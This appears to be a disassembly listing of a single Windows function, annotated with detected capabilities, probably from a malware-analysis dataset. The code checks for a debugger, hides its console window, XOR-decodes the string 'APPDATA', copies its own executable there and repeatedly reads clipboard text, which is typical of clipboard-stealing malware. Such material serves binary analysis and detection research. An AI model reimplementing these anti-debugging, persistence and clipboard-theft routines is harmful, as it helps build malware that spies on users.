Function at 0x140006420
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Copy file
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x1f0
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rsp + 0x1e8], rax
xor r15d, r15d
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 1
jne 0x14000646b
call fcn.140010670
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0x40], 0x6f
mov al, 0x2e
mov cl, 0x3f
movzx edx, cl
mov r8b, 0x2b
movzx r9d, al
mov r10b, 0x3b
movzx r11d, al
xor ebx, ebx
xor al, 0x6f
mov byte [rsp + 0x41], al
xor cl, 0x6f
mov byte [rsp + 0x42], cl
xor dl, 0x6f
mov byte [rsp + 0x43], dl
xor r8b, 0x6f
mov byte [rsp + 0x44], r8b
xor r9b, 0x6f
mov byte [rsp + 0x45], r9b
xor r10b, 0x6f
mov byte [rsp + 0x46], r10b
xor r11b, 0x6f
mov byte [rsp + 0x47], r11b
mov byte [rsp + 0x48], bl
lea rcx, [rsp + 0x41]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x140006501
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140008180
nop
mov byte [rsp + 0x30], 0x1d
mov al, 0x41
xor ecx, ecx
xor al, 0x1d
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea r8, [0x14001b420]
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x70]
call fcn.140007b80
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140006553
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1400076b0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x1400065a7
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rax, qword [rsp + 0x90]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb8], rax
call fcn.14001095c
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0xb0], xmm0
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140004500
nop
lea rcx, [rsp + 0x70]
call fcn.1400050b0
movzx ebx, al
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x140006659
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006654
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006654
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
test bl, bl
jne 0x140006731
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rax, qword [rsp + 0x90]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb8], rax
call fcn.14001095c
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0xb0], xmm0
lea r8, [rsp + 0xb0]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140004500
nop
mov qword [rsp + 0x50], r15
lea rax, [0x14001a0b8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400051c0
cmp dword [rsp + 0x50], 0
jne 0x140007004
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x140006731
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000672c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000672c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
call fcn.14001095c
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140004500
nop
lea rcx, [rsp + 0x70]
call fcn.1400050b0
movzx ebx, al
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x1400067d4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
test bl, bl
je 0x140006a04
mov byte [rsp + 0x34], 0x66
mov al, 0x3a
xor ecx, ecx
xor al, 0x66
mov byte [rsp + 0x35], al
mov byte [rsp + 0x36], cl
lea r8, [0x14001b340]
lea rdx, [rsp + 0x35]
lea rcx, [rsp + 0x70]
call fcn.140007b80
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140006814
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1400076b0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x140006868
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006863
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006863
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov rdi, qword [rsp + 0xa0]
lea rsi, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rsi, qword [rsp + 0x90]
movabs r12, 0x7fffffffffffffff
cmp rdi, r12
ja 0x14000701b
cmp rdi, 0xf
ja 0x1400068da
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x50], xmm0
movabs r13, 0x8000000000000000
jmp 0x140006986
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
jbe 0x1400068f9
mov rbx, r12
movabs r13, 0x8000000000000000
lea rax, [r13 + 0x27]
jmp 0x14000692a
mov r14d, 0x16
cmp rbx, r14
cmovb rbx, r14
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000694f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140007020
movabs r13, 0x8000000000000000
mov rcx, rax
call fcn.140010f28
mov rcx, rax
test rax, rax
je 0x140006948
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006968
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000695b
call fcn.140010f28
jmp 0x14000695e
mov rax, r15
movabs r13, 0x8000000000000000
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x104
lea rdx, [rsp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400069c2
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140006a18
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
jmp 0x140006a18
movabs r12, 0x7fffffffffffffff
movabs r13, 0x8000000000000000
lea rax, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
call fcn.14001095c
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140004500
nop
lea rcx, [rsp + 0x70]
call fcn.1400050b0
movzx ebx, al
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x140006abb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ab6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006ab6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
test bl, bl
je 0x140006d67
mov esi, dword [0x14001b390]
lea rdi, [0x14001b380]
mov r8, rdi
cmp qword [0x14001b398], 0xf
cmova r8, qword [0x14001b380]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140011274
mov rbx, rax
cmp qword [0x14001b398], 0xf
cmova rdi, qword [0x14001b380]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.1400072a0
mov rcx, rbx
call fcn.140010f20
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400072a0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x140006bc4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006bbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], 7
mov word [rsp + 0x70], r15w
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.140005bf0
test eax, eax
jne 0x140006d1d
mov edi, dword [rsp + 0xa0]
lea r8, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova r8, qword [rsp + 0x90]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
mov eax, 2
mul rsi
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140011274
mov rbx, rax
lea r8, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova r8, qword [rsp + 0x90]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.1400072a0
mov rcx, rbx
call fcn.140010f20
nop
lea rdx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 7
cmova rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.140005ff0
nop
mov rdx, qword [rsp + 0xc8]
cmp rdx, 7
jbe 0x140006d1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140006d67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010f20
jmp 0x140006d67
xor r15d, r15d
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
nop
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
xorps xmm0, xmm0
test rax, rax
jne 0x140006e0a
mov byte [rsp + 0x38], 0x77
mov al, 0x12
mov cl, 5
movzx edx, cl
mov r8b, 0x18
movzx r9d, cl
xor r10d, r10d
xor al, 0x77
mov byte [rsp + 0x39], al
xor cl, 0x77
mov byte [rsp + 0x3a], cl
xor dl, 0x77
mov byte [rsp + 0x3b], dl
xor r8b, 0x77
mov byte [rsp + 0x3c], r8b
xor r9b, 0x77
mov byte [rsp + 0x3d], r9b
mov byte [rsp + 0x3e], r10b
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], r15
lea rax, [rsp + 0x39]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r10b
jne 0x140006df0
lea rdx, [rsp + 0x39]
lea rcx, [rsp + 0x70]
call fcn.140008180
jmp 0x140006e85
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x50], rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140006e44
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.140008180
movups xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x80], xmm1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
lea r14, [rsp + 0x70]
mov rsi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x88]
cmp r15, 0xf
cmova r14, rsi
mov rdi, qword [rsp + 0x80]
cmp rdi, r12
ja 0x140007026
cmp rdi, 0xf
ja 0x140006eeb
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x50], xmm0
jmp 0x140006f78
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
jbe 0x140006f1c
mov rbx, r12
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140010f28
mov rcx, rax
test rax, rax
je 0x140006f45
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006f5a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006f4c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000702b
jmp 0x140006efe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140006f58
call fcn.140010f28
jmp 0x140006f5a
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x50]
call fcn.140005970
mov ecx, 0x3e8
call fcn.140005780
nop
cmp r15, 0xf
jbe 0x140006d64
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006fc3
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006fc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140010f20
jmp 0x140006d64
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, str.create_directories
call fcn.140005050
nop
call fcn.140003af0
call fcn.140003a50
nop
call fcn.140003af0
call fcn.140003a50
int3